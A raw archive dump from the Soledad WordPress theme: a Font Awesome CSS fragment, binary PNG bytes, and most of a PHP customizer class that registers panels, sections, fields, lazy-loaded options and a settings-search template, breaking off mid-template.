:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}
PK     0w\~x0  0  4  customizer/framework/assets/img/sprite-skin-flat.pngnu [        PNG

   IHDR        O   PLTE   UeUe5@DS6   tRNS &sP   IDATx!1f!x0xWXOH=
8:IWd	>NI A	  ==پzG;d
#*<i*p J'A	&  0bW%		
| `ٲ>m!	AB$	AB֘P` ?w[HB$	AB$	a	 ul    IENDB`PK     0w\    4  customizer/framework/customizer/class-customizer.phpnu [        <?php
/**
 * This customizer plugin branch of Kirki Customizer Plugin.
 * https://github.com/aristath/kirki
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer;

use SoledadFW\Customizer\Partial\Lazy_Partial;
use SoledadFW\Customizer\Setting\Default_Setting;
use SoledadFW\Util\Sanitize;

/**
 * Class Customizer
 *
 * @package SoledadFW
 */
class Customizer {

	/**
	 * Customizer
	 *
	 * @var Customizer Customizer Instance
	 */
	private static $instance;
	/**
	 * Endpoint used for ajax request
	 *
	 * @var string
	 */
	public $endpoint = 'customizer';
	/**
	 * An array containing all panels.
	 *
	 * @access private
	 * @var array
	 */
	private $panels = array();
	/**
	 * An array containing all sections.
	 *
	 * @access private
	 * @var array
	 */
	private $sections = array();
	/**
	 * An array containing all fields.
	 *
	 * @access private
	 * @var array
	 */
	private $fields = array();
	/**
	 * Cached Array for faster access
	 *
	 * @var array
	 */
	private $cache_fields = array();
	/**
	 * An array containing partial refresh
	 *
	 * @access private
	 * @var array
	 */
	private $partial_refresh = array();
	/**
	 * Version of Customizer
	 *
	 * @var string
	 */
	private $version;

	public $section_listing;

	/**
	 * Init constructor.
	 */
	private function __construct() {
		$this->set_version();

		add_action( 'customize_register', array( $this, 'register_control_types' ) );
		add_action( 'customize_register', array( $this, 'register_section_types' ) );
		add_action( 'customize_register', array( $this, 'deploy_panels' ), 97 );
		add_action( 'customize_register', array( $this, 'deploy_sections' ), 98 );
		add_action( 'customize_register', array( $this, 'deploy_fields' ), 96 );
		add_action( 'customize_register', array( $this, 'register_customizer' ) );
		add_action( 'customize_register', array( $this, 'move_settings' ), 30 );
		add_action( 'customize_preview_init', array( $this, 'preview_init' ), 99 );
		add_action( 'customize_controls_print_styles', array( $this, 'customizer_styles' ), 99 );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'register_scripts' ) );
		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_script' ), 11 );
		add_action( 'customize_controls_print_styles', array(
			$this,
			'pencidesign_customizer_devices_preview_width'
		) );

		// Partial Refresh.
		add_filter( 'customize_partial_render', array( $this, 'partial_render' ), null, 3 );
		add_filter( 'customize_dynamic_partial_args', array( $this, 'filter_dynamic_partial_args' ), 10, 2 );
		add_filter( 'customize_dynamic_partial_class', array( $this, 'filter_dynamic_partial_class' ), 10, 2 );

		// Handle dynamic setting save.
		add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 );
		add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 2 );
		add_action( 'parse_request', array( $this, 'ajax_parse_request' ) );

		// Javascript Template.
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'search_template' ) );
		add_action( 'customize_controls_print_footer_scripts', array( $this, 'widget_template' ) );
	}

	/**
	 * Get theme version if using themes
	 */
	public function set_version() {
		$this->version = PENCI_SOLEDAD_VERSION;
	}

	/**
	 * Get Instance of Customizer
	 *
	 * @return Customizer
	 */
	public static function get_instance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	/**
	 * Handle ajax request for retrieving lazy section
	 *
	 * @param \WP $wp Handle request.
	 */
	public function ajax_parse_request( $wp ) {
		$nonce   = isset( $_REQUEST['nonce'] ) && wp_verify_nonce( $_REQUEST['nonce'], $this->endpoint );
		$section = isset( $_REQUEST['sections'] ) && $_REQUEST['sections'] ? $_REQUEST['sections'] : '';
		$search  = isset( $_REQUEST['search'] ) && $_REQUEST['search'] ? sanitize_title( $_REQUEST['search'] ) : '';
		if ( $nonce ) {
			add_filter( 'wp_doing_ajax', '__return_true' );
			remove_all_actions( 'final_output' );
			if ( $section ) {
				$this->get_lazy_section_control( $section );
			}
			if ( $search ) {
				$this->get_search_result( $search );
			}
		}

		return $wp;
	}

	/**
	 * Get lazy section control control
	 *
	 * @param array $sections array of sections.
	 */
	public function get_lazy_section_control( $sections ) {
		$results = array();

		foreach ( $sections as $section_id ) {
			$section = $this->get_lazy_section_files( $section_id );

			if ( ! empty( $section ) ) {
				$results[ $section_id ] = $this->compose_lazy_fields( $section, $section_id );
			}
		}

		wp_send_json_success( $results );
	}

	/**
	 * Get file location for lazy section
	 *
	 * @param string $id ID of lazy section to be searched.
	 *
	 * @return mixed
	 */
	public function get_lazy_section_files( $id ) {
		$sections = $this->get_registered_lazy_section();

		if ( isset( $sections[ $id ] ) ) {
			return $sections[ $id ];
		}

		return array();
	}

	/**
	 * Get all registered section and their respective file
	 *
	 * @return mixed
	 */
	public function get_registered_lazy_section() {
		return apply_filters( 'soledad_fw_register_lazy_section', array() );
	}

	/**
	 * Preparing lazy fields
	 *
	 * @param array $section Array of section.
	 * @param string $section_id Name of section.
	 *
	 * @return array
	 */
	public function compose_lazy_fields( $section, $section_id ) {
		$this->wp_customize();
		$results = array();

		foreach ( $section as $file ) {
			$options = $this->get_lazy_options( $file );

			foreach ( $options as $option ) {
				$results[ $option['id'] ] = $this->compose_lazy_option( $option, $section_id );
			}
		}

		return $results;
	}

	/**
	 * Get WP Customize Instance. if its empty then we need to create one
	 *
	 * @return \WP_Customize_Manager
	 */
	public function wp_customize() {
		global $wp_customize;

		if ( empty( $wp_customize ) || ! ( $wp_customize instanceof \WP_Customize_Manager ) ) {
			require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
			$wp_customize = new \WP_Customize_Manager();
		}

		return $wp_customize;
	}

	/**
	 * Get all option
	 *
	 * @param array|callable $file Callback or path to option.
	 *
	 * @return array|mixed
	 */
	public function get_lazy_options( $file ) {
		$options = array();

		if ( is_array( $file ) ) {
			$options = call_user_func_array( $file['function'], $file['parameter'] );
		} elseif ( file_exists( $file ) ) {
			$options = include $file;
		}

		return apply_filters( 'soledad_fw_customizer_get_lazy_options', $options );
	}

	/**
	 * Prepare lazy option to fit with customizer setting
	 *
	 * @param array $option Raw option.
	 * @param string $section_id Name of section.
	 *
	 * @return array
	 */
	public function compose_lazy_option( $option, $section_id ) {
		$result = array();

		// force assign section & dynamic control.
		$option['section'] = $section_id;
		$option['dynamic'] = true;
		$field             = $this->filter_field( $option, true );

		// Assign Setting ID.
		$setting_id          = Default_Setting::create_lazy_setting( $section_id, $option['id'] );
		$result['settingId'] = $setting_id;

		// assign setting json.
		$setting           = $field['setting'];
		$setting_instance  = $this->do_add_setting( $setting, $setting_id );
		$result['setting'] = $setting_instance->json();

		// assign control json.
		$control           = $field['control'];
		$control_instance  = $this->do_add_control( $control, $setting_instance );
		$result['control'] = $control_instance->json();

		return $result;
	}

	/**
	 * Create Customizer setting, control, and partial refresh
	 *
	 * @param array $field Unfiltered control.
	 * @param boolean $dynamic flag for dynamic control.
	 *
	 * @return array
	 */
	public function filter_field( $field, $dynamic = false ) {
		$setting = $this->compose_setting( $field );
		$control = $this->compose_control( $field, $dynamic );
		$partial = $this->setup_partial_refresh( $field );

		// Hack transport to have postMessage.
		if ( ! empty( $partial ) ) {
			$setting['transport'] = 'postMessage';
		}

		return [
			'setting' => $setting,
			'control' => $control,
		];
	}

	/**
	 * Prepare single setting
	 *
	 * @param array $field Unfiltered setting.
	 *
	 * @return array
	 */
	public function compose_setting( $field ) {
		$setting = array();

		$setting['id']           = $field['id'];
		$setting['type']         = isset( $field['option_type'] ) ? $field['option_type'] : 'theme_mod';
		$setting['default']      = isset( $field['default'] ) ? $field['default'] : '';
		$setting['transport']    = isset( $field['transport'] ) ? $field['transport'] : 'refresh';
		$setting['sanitize']     = isset( $field['sanitize'] ) ? $field['sanitize'] : $this->sanitize_handler( $field['type'] );
		$setting['control_type'] = $field['type'];
		$setting['settings']     = isset( $field['settings'] ) ? $field['settings'] : '';

		return $setting;
	}

	/**
	 * Handle input sanitize for every type
	 *
	 * @param string $type Type of control and what kind sanitized to be used.
	 *
	 * @return array|string
	 */
	public function sanitize_handler( $type ) {
		$sanitize_class = Sanitize::get_instance();

		switch ( $type ) {
			case 'checkbox':
			case 'soledad-fw-toggle':
				$sanitize = array( $sanitize_class, 'sanitize_checkbox' );
				break;
			case 'image':
			case 'upload':
				$sanitize = array( $sanitize_class, 'sanitize_url' );
				break;
			case 'soledad-fw-typography':
				$sanitize = array( $sanitize_class, 'sanitize_typography' );
				break;
			case 'soledad-fw-number':
			case 'soledad-fw-slider':
				$sanitize = array( $sanitize_class, 'sanitize_number' );
				break;
			case 'repeater':
			case 'soledad-fw-repeater':
				$sanitize = array( $sanitize_class, 'by_pass' );
				break;
			default:
				$sanitize = array( $sanitize_class, 'sanitize_input' );
				break;
		}

		return $sanitize;
	}

	/**
	 * Prepare single control
	 *
	 * @param array $field Unfiltered control.
	 * @param boolean $dynamic flag for dynamic control.
	 *
	 * @return array
	 */
	public function compose_control( $field, $dynamic ) {
		$control               = array();
		$active_callback_class = Active_Callback::get_instance();

		$control['id']            = $field['id'];
		$control['type']          = $field['type'];
		$control['label']         = isset( $field['label'] ) ? $field['label'] : '';
		$control['section']       = isset( $field['section'] ) ? $field['section'] : '';
		$control['description']   = isset( $field['description'] ) ? $field['description'] : '';
		$control['multiple']      = isset( $field['multiple'] ) ? $field['multiple'] : 0;
		$control['default']       = isset( $field['default'] ) ? $field['default'] : 0;
		$control['choices']       = isset( $field['choices'] ) ? $field['choices'] : array();
		$control['fields']        = isset( $field['fields'] ) ? $field['fields'] : array();
		$control['row_label']     = isset( $field['row_label'] ) ? $field['row_label'] : esc_html__( 'Row', 'soledad' );
		$control['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : array();
		$control['ajax_action']   = isset( $field['ajax_action'] ) ? $field['ajax_action'] : '';
		$control['data_type']     = isset( $field['data_type'] ) ? $field['data_type'] : '';
		$control['nonce']         = isset( $field['nonce'] ) ? $field['nonce'] : '';
		$control['callback']      = isset( $field['callback'] ) ? $field['callback'] : '';
		$control['input_attrs']   = isset( $field['input_attrs'] ) ? $field['input_attrs'] : '';
		$control['code_type']     = isset( $field['code_type'] ) ? $field['code_type'] : '';

		// additional control option.
		$control['partial_refresh'] = isset( $field['partial_refresh'] ) ? $field['partial_refresh'] : null;
		$control['active_rule']     = isset( $field['active_callback'] ) ? $field['active_callback'] : null;
		$control['output']          = isset( $field['output'] ) ? $field['output'] : null;
		$control['postvar']         = isset( $field['postvar'] ) ? $field['postvar'] : [];
		$control['dynamic']         = isset( $field['dynamic'] ) ? $field['dynamic'] : false;
		$control['settings']        = isset( $field['settings'] ) ? $field['settings'] : '';
		$control['ids']             = isset( $field['ids'] ) ? $field['ids'] : '';

		// only load active callback on normal field.
		if ( ! $dynamic ) {
			$control['active_callback'] = isset( $field['active_callback'] ) ? function () use ( $field, $active_callback_class ) {
				return $active_callback_class->evaluate( $field['active_callback'] );
			} : '__return_true';
		}

		return $control;
	}

	/**
	 * Prepare partial refresh
	 *
	 * @param array $field Partial refresh field.
	 *
	 * @return array
	 */
	public function setup_partial_refresh( $field ) {
		if ( ! isset( $field['partial_refresh'] ) ) {
			$field['partial_refresh'] = array();
		}

		foreach ( $field['partial_refresh'] as $id => $args ) {
			if ( ! is_array( $args ) || ! isset( $args['selector'] ) || ! isset( $args['render_callback'] ) || ! is_callable( $args['render_callback'] ) ) {
				unset( $this->partial_refresh[ $id ] );
				continue;
			}
		}

		return $field['partial_refresh'];
	}

	/**
	 * Add Setting to wp customize instance base on what kind of class instance used
	 *
	 * @param array $setting Array of setting.
	 * @param string $setting_id Name of setting ID.
	 *
	 * @return \WP_Customize_Setting
	 */
	public function do_add_setting( $setting, $setting_id = null ) {
		$wp_customize = $this->wp_customize();

		if ( null === $setting_id ) {
			$setting_id = $setting['id'];
		}

		$setting_class    = $this->get_setting_class( $setting['control_type'] );
		$setting_instance = new $setting_class( $wp_customize, $setting_id, $setting );
		$wp_customize->add_setting( $setting_instance );

		return $setting_instance;
	}

	/**
	 * Get setting class
	 *
	 * @param string $type Type of class for setting option.
	 *
	 * @return string
	 */
	public function get_setting_class( $type ) {
		switch ( $type ) {
			case 'soledad-fw-repeater':
				$setting_class = 'SoledadFW\Customizer\Setting\Repeater_Setting';
				break;
			case 'soledad-fw-spacing':
				$setting_class = 'SoledadFW\Customizer\Setting\Spacing_Setting';
				break;
			default:
				$setting_class = 'SoledadFW\Customizer\Setting\Default_Setting';
				break;
		}

		return $setting_class;
	}

	/**
	 * Add control to wp customize instance
	 *
	 * @param array $field Array of field.
	 * @param \WP_Customize_Setting $setting instance of Setting.
	 *
	 * @return mixed
	 */
	public function do_add_control( $field, $setting = null ) {
		$wp_customize  = $this->wp_customize();
		$control_class = $this->get_control_class( $field['type'] );

		if ( null !== $setting && $setting instanceof \WP_Customize_Setting ) {
			$field['settings'] = $setting->id;
		}

		$control_instance = new $control_class( $wp_customize, $field['id'], $field );
		$wp_customize->add_control( $control_instance );

		return $control_instance;
	}

	/**
	 * Get control class
	 *
	 * @param string $type Type of control field.
	 *
	 * @return mixed
	 * @throws \InvalidArgumentException Throw if type of customizer have issue.
	 */
	public function get_control_class( $type ) {
		$handler = $this->get_all_control_class();

		if ( array_key_exists( $type, $handler ) ) {
			return $handler[ $type ];
		} else {
			throw new \InvalidArgumentException( 'Unrecognized Type. Please update Soledad Theme to latest version.' );
		}
	}

	/**
	 * Get all Control Class
	 *
	 * @return array
	 */
	public function get_all_control_class() {
		$handler = array(
			'soledad-fw-alert'           => 'SoledadFW\Customizer\Control\Alert',
			'soledad-fw-header'          => 'SoledadFW\Customizer\Control\Header',
			'soledad-fw-color'           => 'SoledadFW\Customizer\Control\Color',
			'soledad-fw-toggle'          => 'SoledadFW\Customizer\Control\Toggle',
			'soledad-fw-slider'          => 'SoledadFW\Customizer\Control\Slider',
			'soledad-fw-number'          => 'SoledadFW\Customizer\Control\Number',
			'soledad-fw-select'          => 'SoledadFW\Customizer\Control\Select',
			'soledad-fw-ajax-select'     => 'SoledadFW\Customizer\Control\Ajax_Select',
			'soledad-fw-range-slider'    => 'SoledadFW\Customizer\Control\Range_Slider',
			'soledad-fw-radio-image'     => 'SoledadFW\Customizer\Control\Radio_Image',
			'soledad-fw-radio-buttonset' => 'SoledadFW\Customizer\Control\Radio_Button_Set',
			'soledad-fw-preset'          => 'SoledadFW\Customizer\Control\Preset',
			'soledad-fw-preset-image'    => 'SoledadFW\Customizer\Control\Preset_Image',
			'soledad-fw-text'            => 'SoledadFW\Customizer\Control\Text',
			'soledad-fw-password'        => 'SoledadFW\Customizer\Control\Password',
			'soledad-fw-textarea'        => 'SoledadFW\Customizer\Control\Textarea',
			'soledad-fw-radio'           => 'SoledadFW\Customizer\Control\Radio',
			'soledad-fw-image'           => 'SoledadFW\Customizer\Control\Image',
			'soledad-fw-upload'          => 'SoledadFW\Customizer\Control\Upload',
			'soledad-fw-spacing'         => 'SoledadFW\Customizer\Control\Spacing',
			'soledad-fw-repeater'        => 'SoledadFW\Customizer\Control\Repeater',
			'soledad-fw-typography'      => 'SoledadFW\Customizer\Control\Typography',
			'soledad-fw-gradient'        => 'SoledadFW\Customizer\Control\Gradient',
			'soledad-fw-size'            => 'SoledadFW\Customizer\Control\Size',
			'soledad-fw-box-model'       => 'SoledadFW\Customizer\Control\Box_Model',
			'soledad-fw-button'          => 'SoledadFW\Customizer\Control\Button',
			'soledad-fw-code'            => 'SoledadFW\Customizer\Control\Code',
			'soledad-fw-hidden'          => 'SoledadFW\Customizer\Control\Hidden',
			'soledad-fw-multi-check'     => 'SoledadFW\Customizer\Control\MultiCheck',
		);

		return $handler;
	}

	/**
	 * Return search result
	 *
	 * @param string $search Search keyword.
	 */
	public function get_search_result( $search ) {
		$fields_search = $this->get_all_fields();
		$results       = array();

		foreach ( $fields_search as $key => $field ) {
			$field['title']       = isset( $field['title'] ) ? __( $field['title'], 'soledad' ) : '';
			$field['label']       = isset( $field['label'] ) ? __( $field['label'], 'soledad' ) : '';
			$field['description'] = isset( $field['description'] ) ? __( $field['description'], 'soledad' ) : '';
			$match                = $this->match_search( $search, implode( ' ', array(
				sanitize_title( $field['title'] ),
				sanitize_title( $field['description'] ),
				sanitize_title( $field['label'] ),
			) ) );

			if ( $match > 0 ) {
				$results[ $key ] = array(
					'id'          => $field['id'],
					'label'       => $field['label'],
					'description' => $field['description'],
					'section'     => $field['section'],
					'match'       => $match,
				);
			}
		}

		wp_send_json_success( $results );
	}

	/**
	 * Get both normal & lazy loaded fields
	 *
	 * @param array $extract Callable for excluding field.
	 *
	 * @return array
	 */
	public function get_all_fields( $extract = null ) {
		$extract   = is_callable( $extract ) ? $extract : array( $this, 'extract_fields' );
		$cache_key = $extract[1];

		if ( ! isset( $this->cache_fields[ $cache_key ] ) ) {
			$lazy_fields   = $this->get_lazy_fields();
			$normal_fields = $this->get_fields();
			$fields        = array_merge( $normal_fields, $lazy_fields );
			$results       = array();

			foreach ( $fields as $key => $field ) {
				$result = call_user_func_array( $extract, array( $field, $key ) );
				if ( $result ) {
					$results[ $key ] = $result;
				}
			}

			$this->cache_fields[ $cache_key ] = $results;
		}

		return $this->cache_fields[ $cache_key ];
	}

	/**
	 * Get all registered lazy fields
	 *
	 * @return array
	 */
	public function get_lazy_fields() {
		$fields_search   = [];
		$sections_search = $this->get_registered_lazy_section();

		foreach ( $sections_search as $key => $section ) {
			foreach ( $section as $file ) {
				$options = $this->get_lazy_options( $file );
				if ( is_array( $options ) ) {
					foreach ( $options as $opt ) {
						$id                              = $opt['id'];
						$fields_search[ $id ]            = $opt;
						$fields_search[ $id ]['section'] = $key;
					}
				}
			}
		}

		return $fields_search;
	}

	/**
	 * Only Normal Field
	 *
	 * @return array
	 */
	public function get_fields() {
		return $this->fields;
	}

	/**
	 * Check total search match
	 *
	 * @param string $keywords Search keyword.
	 * @param string $description Search description.
	 *
	 * @return int
	 */
	public function match_search( $keywords, $description ) {
		preg_match_all( '/\w+/i', $keywords, $words );
		$total = 0;

		foreach ( $words[0] as $search ) {
			$found = preg_match_all( "/($search)/i", $description );

			if ( 0 === $found ) {
				return 0;
			} else {
				$total += $found;
			}
		}

		return $total;
	}

	/**
	 * Find lazy setting
	 *
	 * @param array $options Array of lazy option.
	 * @param string $name Name of setting to be searched for.
	 *
	 * @return mixed
	 */
	public function filter_lazy_setting( $options, $name ) {
		foreach ( $options as $key => $option ) {
			if ( $option['id'] === $name ) {
				return $option;
			}
		}

		return null;
	}

	/**
	 * Find partial setting
	 *
	 * @param array $options Array of partial setting option.
	 * @param string $name Name of setting to be searched for.
	 *
	 * @return mixed
	 */
	public function filter_lazy_partial_setting( $options, $name ) {
		foreach ( $options as $key => $option ) {
			if ( isset( $option['partial_refresh'] ) ) {
				$partials = $option['partial_refresh'];
				if ( array_key_exists( $name, $partials ) ) {
					return [
						'setting' => $option['id'],
						'partial' => $partials[ $name ],
					];
				}
			}
		}

		return null;
	}

	/**
	 * Find setting class for option
	 *
	 * @param string $class Class name for setting.
	 * @param \WP_Customize_Setting|string $id Customize Setting object, or ID.
	 *
	 * @return string
	 */
	public function filter_dynamic_setting_class( $class, $id ) {
		if ( preg_match( Default_Setting::$lazy_pattern, $id, $matches ) ) {
			$option = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_setting',
			) );
			$class  = $this->get_setting_class( $option['type'] );
		}

		return $class;
	}

	/**
	 * Get filtered lazy field
	 *
	 * @param string $section Section of lazy field.
	 * @param string $name name of setting or option.
	 * @param callable $callback filtered callback.
	 *
	 * @return mixed
	 */
	public function get_lazy_field( $section, $name, $callback ) {
		$section = $this->get_lazy_section_files( $section );

		if ( ! empty( $section ) ) {
			foreach ( $section as $file ) {
				$options = $this->get_lazy_options( $file );

				return call_user_func_array( $callback, array( $options, $name ) );
			}
		}

		return null;
	}

	/**
	 * Find setting arguemnt for option
	 *
	 * @param array $setting_args Array of properties for the new WP_Customize_Setting. Default empty array.
	 * @param \WP_Customize_Setting|string $setting_id Customize Setting object, or ID.
	 *
	 * @return mixed
	 */
	public function filter_dynamic_setting_args( $setting_args, $setting_id ) {
		if ( preg_match( Default_Setting::$lazy_pattern, $setting_id, $matches ) ) {
			$option       = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_setting',
			) );
			$field        = $this->filter_field( $option, true );
			$setting_args = $field['setting'];
		}

		return $setting_args;
	}

	/**
	 * Partial render
	 *
	 * @param string|array|false $rendered The partial value. Default false.
	 * @param \WP_Customize_Partial $partial WP_Customize_Setting instance.
	 * @param array $container_context Optional array of context data associated with
	 *                                                 the target container.
	 *
	 * @return mixed|string
	 */
	public function partial_render( $rendered, \WP_Customize_Partial $partial, $container_context ) {
		if ( preg_match( Lazy_Partial::$pattern, $partial->id, $matches ) ) {
			$option = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_partial_setting',
			) );

			if ( $option ) {
				ob_start();
				$return_render = call_user_func( $option['partial']['render_callback'], $this, $container_context );
				$ob_render     = ob_get_clean();

				if ( null !== $return_render && '' !== $ob_render ) {
					_doing_it_wrong( __FUNCTION__, esc_html__( 'Partial render must echo the content or return the content string (or array), but not both.', 'soledad' ), '4.5.0' );
				}

				$rendered = null !== $return_render ? $return_render : $ob_render;
			}
		}

		return $rendered;
	}

	/**
	 * Filters a dynamic partial's constructor arguments.
	 *
	 * @param false|array $args The arguments to the WP_Customize_Partial constructor.
	 * @param string $id ID for dynamic partial.
	 *
	 * @return array
	 */
	public function filter_dynamic_partial_args( $args, $id ) {
		if ( preg_match( Lazy_Partial::$pattern, $id, $matches ) ) {
			$option = $this->get_lazy_field( $matches['section'], $matches['id'], array(
				$this,
				'filter_lazy_partial_setting',
			) );
			$args   = array(
				'selector'            => $option['partial']['selector'],
				'settings'            => array( Default_Setting::create_lazy_setting( $matches['section'], $option['setting'] ) ),
				'container_inclusive' => false,
				'fallback_refresh'    => false,
			);
		}

		return $args;
	}

	/**
	 * Filters the class used to construct partials.
	 *
	 * Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
	 *
	 * @param string $class WP_Customize_Partial or a subclass.
	 * @param string $id ID for dynamic partial.
	 *
	 * @return string
	 */
	public function filter_dynamic_partial_class( $class, $id ) {
		if ( preg_match( Lazy_Partial::$pattern, $id, $matches ) ) {
			$class = 'SoledadFW\Customizer\Partial\Lazy_Partial';
		}

		return $class;
	}

	/**
	 * Create register customizer hook specifically for SoledadFW Framework
	 */
	public function register_customizer() {
		do_action( 'soledad_fw_register_customizer_option', $this );
	}

	/**
	 * Load script for preview init
	 */
	public function preview_init() {
		add_action( 'wp_enqueue_scripts', array( $this, 'previewer_script' ) );
	}

	/**
	 * Add panel functionality exposed to public
	 *
	 * @param array $panel Panel option.
	 */
	public function add_panel( $panel ) {
		$this->panels[ $panel['id'] ] = $panel;
	}

	/**
	 * Section functionality exposed to public
	 *
	 * @param array $section Section option.
	 */
	public function add_section( $section ) {
		$section = apply_filters( 'soledad_fw_customizer_add_section', $section );

		$this->sections[ $section['id'] ] = $section;

	}

	/**
	 * Add field functionality exposed to public
	 *
	 * @param array $field Add option.
	 */
	public function add_field( $field ) {
		$field = apply_filters( 'soledad_fw_customizer_add_field', $field );

		$this->fields[ $field['id'] ] = $field;

		if ( isset( $field['partial_refresh'] ) ) {
			$this->partial_refresh[ $field['id'] ] = $field['partial_refresh'];
		}
	}

	/**
	 * Deploy registered panel
	 */
	public function deploy_panels() {
		$wp_customize          = $this->wp_customize();
		$active_callback_class = Active_Callback::get_instance();

		foreach ( $this->panels as $panel ) {
			$panel['type'] = isset( $panel['type'] ) ? $panel['type'] : 'default';

			$panel_class = 'WP_Customize_Panel';

			$wp_customize->add_panel( new $panel_class( $wp_customize, $panel['id'], array(
				'title'           => $panel['title'],
				'description'     => isset( $panel['description'] ) && $panel['description'] ? $panel['description'] : '',
				'priority'        => $panel['priority'],
				'active_callback' => isset( $panel['active_callback'] ) ? function () use ( $panel, $active_callback_class ) {
					return $active_callback_class->evaluate( $panel['active_callback'] );
				} : '__return_true',
			) ) );
		}
	}

	/**
	 * Deploy registered section
	 */
	public function deploy_sections() {
		$wp_customize          = $this->wp_customize();
		$active_callback_class = Active_Callback::get_instance();

		foreach ( $this->sections as $section ) {
			$section['type'] = isset( $section['type'] ) ? $section['type'] : 'default';

			switch ( $section['type'] ) {
				case 'soledad-fw-helper-section':
					$section_class = 'SoledadFW\Customizer\Section\Helper_Section';
					break;
				case 'soledad-fw-lazy-section':
					$section_class = 'SoledadFW\Customizer\Section\Lazy_Section';
					break;
				case 'soledad-fw-link-section':
					$section_class = 'SoledadFW\Customizer\Section\Link_Section';
					break;
				default:
					$section_class = 'SoledadFW\Customizer\Section\Default_Section';
					break;
			}

			$wp_customize->add_section( new $section_class( $wp_customize, $section['id'], array(
				'title'           => $section['title'],
				'description'     => isset( $section['description'] ) ? $section['description'] : '',
				'panel'           => isset( $section['panel'] ) ? $section['panel'] : '',
				'priority'        => $section['priority'],
				'dependency'      => isset( $section['dependency'] ) ? $section['dependency'] : [],
				'url'             => isset( $section['url'] ) ? $section['url'] : home_url( '/' ),
				'label'           => isset( $section['label'] ) ? $section['label'] : '',
				'active_callback' => isset( $section['active_callback'] ) ? function () use ( $section, $active_callback_class ) {
					return $active_callback_class->evaluate( $section['active_callback'] );
				} : '__return_true',
			) ) );
		}
	}

	/**
	 * Deploy all registered field
	 */
	public function deploy_fields() {
		foreach ( $this->fields as $field ) {
			$filtered_field = $this->filter_field( $field );
			$this->do_add_setting( $filtered_field['setting'] );
			$this->do_add_control( $filtered_field['control'] );
		}

		$this->register_partial_refresh();
	}

	/**
	 * Setup_partial_refresh
	 */
	public function register_partial_refresh() {
		$wp_customize = $this->wp_customize();

		if ( ! isset( $wp_customize->selective_refresh ) ) {
			return;
		}

		foreach ( $this->fields as $field_id => $args ) {
			if ( isset( $args['partial_refresh'] ) && ! empty( $args['partial_refresh'] ) ) {
				// Start going through each item in the array of partial refreshes.
				foreach ( $args['partial_refresh'] as $partial_refresh => $partial_refresh_args ) {
					// If we have all we need, create the selective refresh call.
					if ( isset( $partial_refresh_args['render_callback'] ) && isset( $partial_refresh_args['selector'] ) ) {
						$wp_customize->selective_refresh->add_partial( $partial_refresh, array(
							'selector'            => $partial_refresh_args['selector'],
							'settings'            => array( $args['id'] ),
							'render_callback'     => $partial_refresh_args['render_callback'],
							'container_inclusive' => isset( $partial_refresh_args['container_inclusive'] ) ? $partial_refresh_args['container_inclusive'] : false,
							'fallback_refresh'    => false,
						) );
					}
				}
			}
		}
	}

	/**
	 * Register control type
	 */
	public function register_control_types() {
		$wp_customize = $this->wp_customize();
		$handler      = $this->get_all_control_class();

		foreach ( $handler as $handle ) {
			$wp_customize->register_control_type( $handle );
		}
	}

	/**
	 * Register Section Type
	 */
	public function register_section_types() {
		$wp_customize = $this->wp_customize();

		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Helper_Section' );
		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Lazy_Section' );
		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Link_Section' );
		$wp_customize->register_section_type( 'SoledadFW\Customizer\Section\Default_Section' );
	}

	/**
	 * Return Fields without Partial Refresh
	 *
	 * @param array $field Field.
	 *
	 * @return mixed
	 */
	public function extract_fields( $field ) {
		unset( $field['partial_refresh'] );

		return $field;
	}

	/**
	 * Get all registered section
	 *
	 * @return array
	 */
	public function get_sections() {
		return $this->sections;
	}

	/**
	 * Get all registered panel
	 *
	 * @return array
	 */
	public function get_panels() {
		return $this->panels;
	}

	/**
	 * Build search template
	 */
	public function search_template() {
		?>
        <script type="text/html" id="tmpl-search-wrapper">
            <div class='customizer-search-wrapper'>
                <a href='#' class='customizer-search-toggle'>
                    <i class='fa fa-search'></i>
                </a>
                <form class='customizer-form-search'>
                    <input placeholder="<?php _e( 'Type to search theme settings ...','soledad' ); ?>" type='text' name='customizer-form-input'/>
                </form>
            </div>
            <div class='customizer-search-result'>
                <div class='customizer-search-result-wrapper'></div>
                <div class='search-loader hidden'>
                    <div class='loader'></div>
                </div>
            </div>
        </script>

        <script type="text/html" id="tmpl-search-overlay">
            <div class='customizer-search-overlay'></div>
        </script>

        <script type="text/html" id="tmpl-search-control">
            <ul>
                <# for ( key in data ) { #>
                <# var control = data[key]; #>
